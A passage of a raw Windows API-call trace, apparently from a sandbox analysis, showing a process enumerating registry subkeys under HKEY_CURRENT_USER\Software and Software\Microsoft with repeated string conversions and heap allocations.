0xdde840 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.657] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="printers", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="printers", lpUsedDefaultChar=0x0) returned 8 [0025.657] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.657] RegEnumKeyW (in: hKey=0x80000001, dwIndex=0x9, lpName=0xc19d18, cchName=0x104 | out: lpName="Software") returned 0x0 [0025.657] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.657] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xddc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0025.657] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.657] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0x110) returned 0x0 [0025.657] RegCloseKey (hKey=0x80000001) returned 0x0 [0025.657] RegEnumKeyW (in: hKey=0x110, dwIndex=0x0, lpName=0xc19d18, cchName=0x104 | out: lpName="Adobe") returned 0x0 [0025.657] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.657] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobe", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobe", lpUsedDefaultChar=0x0) returned 5 [0025.657] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.657] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.657] RegEnumKeyW (in: hKey=0x110, dwIndex=0x1, lpName=0xc19d18, cchName=0x104 | out: lpName="AppDataLow") returned 0x0 [0025.658] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.658] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appdatalow", cchWideChar=10, lpMultiByteStr=0xddc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appdatalow", lpUsedDefaultChar=0x0) returned 10 [0025.658] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.658] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.658] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.658] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.658] RegEnumKeyW (in: hKey=0x110, dwIndex=0x2, lpName=0xc19d18, cchName=0x104 | out: lpName="Clients") returned 0x0 [0025.658] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.658] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0025.658] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.658] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.660] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.660] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.660] RegEnumKeyW (in: hKey=0x110, dwIndex=0x3, lpName=0xc19d18, cchName=0x104 | out: lpName="Google") returned 0x0 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="google", cchWideChar=6, lpMultiByteStr=0xddc240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="google", lpUsedDefaultChar=0x0) returned 6 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.660] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.660] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.660] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.660] RegEnumKeyW (in: hKey=0x110, dwIndex=0x4, lpName=0xc19d18, cchName=0x104 | out: lpName="JavaSoft") returned 0x0 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="javasoft", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="javasoft", lpUsedDefaultChar=0x0) returned 8 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.660] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.660] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.660] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.660] RegEnumKeyW (in: hKey=0x110, dwIndex=0x5, lpName=0xc19d18, cchName=0x104 | out: lpName="Macromedia") returned 0x0 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="macromedia", cchWideChar=10, lpMultiByteStr=0xddc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="macromedia", lpUsedDefaultChar=0x0) returned 10 [0025.660] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.662] RegEnumKeyW (in: hKey=0x110, dwIndex=0x6, lpName=0xc19d18, cchName=0x104 | out: lpName="Microsoft") returned 0x0 [0025.662] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.662] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft", lpUsedDefaultChar=0x0) returned 9 [0025.662] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.662] RegOpenKeyExW (in: hKey=0x110, lpSubKey="Microsoft", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0xf8) returned 0x0 [0025.662] RegCloseKey (hKey=0x110) returned 0x0 [0025.662] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x0, lpName=0xc19d18, cchName=0x104 | out: lpName="Active Setup") returned 0x0 [0025.662] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.662] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="active setup", cchWideChar=12, lpMultiByteStr=0xddc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="active setup", lpUsedDefaultChar=0x0) returned 12 [0025.662] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.662] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.662] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x1, lpName=0xc19d18, cchName=0x104 | out: lpName="ActiveMovie") returned 0x0 [0025.662] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.662] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activemovie", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activemovie", lpUsedDefaultChar=0x0) returned 11 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.663] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x2, lpName=0xc19d18, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0xddc240, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.663] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x3, lpName=0xc19d18, cchName=0x104 | out: lpName="ASF Stream Descriptor File") returned 0x0 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asf stream descriptor file", cchWideChar=26, lpMultiByteStr=0xddc120, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asf stream descriptor file", lpUsedDefaultChar=0x0) returned 26 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.663] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x4, lpName=0xc19d18, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0xddc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0025.663] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.663] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.663] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x5, lpName=0xc19d18, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0xddc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.664] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x6, lpName=0xc19d18, cchName=0x104 | out: lpName="CTF") returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0xddc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.664] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x7, lpName=0xc19d18, cchName=0x104 | out: lpName="Direct3D") returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="direct3d", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="direct3d", lpUsedDefaultChar=0x0) returned 8 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.664] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.664] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x8, lpName=0xc19d18, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.664] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0xddc240, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0025.664] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.665] RegEnumKeyW (in: hKey=0xf8, dwIndex=0x9, lpName=0xc19d18, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.665] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xa, lpName=0xc19d18, cchName=0x104 | out: lpName="Fax") returned 0x0 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0xddc240, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.665] RegEnumKeyW (in: hKey=0xf8, dwIndex=0xb, lpName=0xc19d18, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0025.665] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.665] RtlFreeHeap (HeapHandle=0xdd0000, 